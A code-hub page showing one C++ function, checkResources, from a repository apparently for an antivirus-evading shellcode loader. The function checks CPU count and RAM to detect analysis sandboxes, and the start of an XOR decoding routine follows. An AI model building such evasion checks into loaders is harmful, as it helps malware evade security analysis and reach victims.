MCPcopy Create free account
hub / github.com/Bl4ckM1rror/FUD-UUID-Shellcode / checkResources

Function checkResources

fud-uuid-shc.cpp:57–76  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

55}
56
57bool checkResources()
58{
59 SYSTEM_INFO s{};
60 MEMORYSTATUSEX ms{};
61 DWORD procNum{};
62 DWORD ram{};
63
64 GetSystemInfo(&s);
65 procNum = s.dwNumberOfProcessors;
66 if (procNum < 2)
67 return false;
68
69 ms.dwLength = sizeof(ms);
70 GlobalMemoryStatusEx(&ms);
71 ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
72 if (ram < 2)
73 return false;
74
75 return true;
76}
77
78void XOR(BYTE *data, unsigned long data_len, const char *key, unsigned long key_len)
79{

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected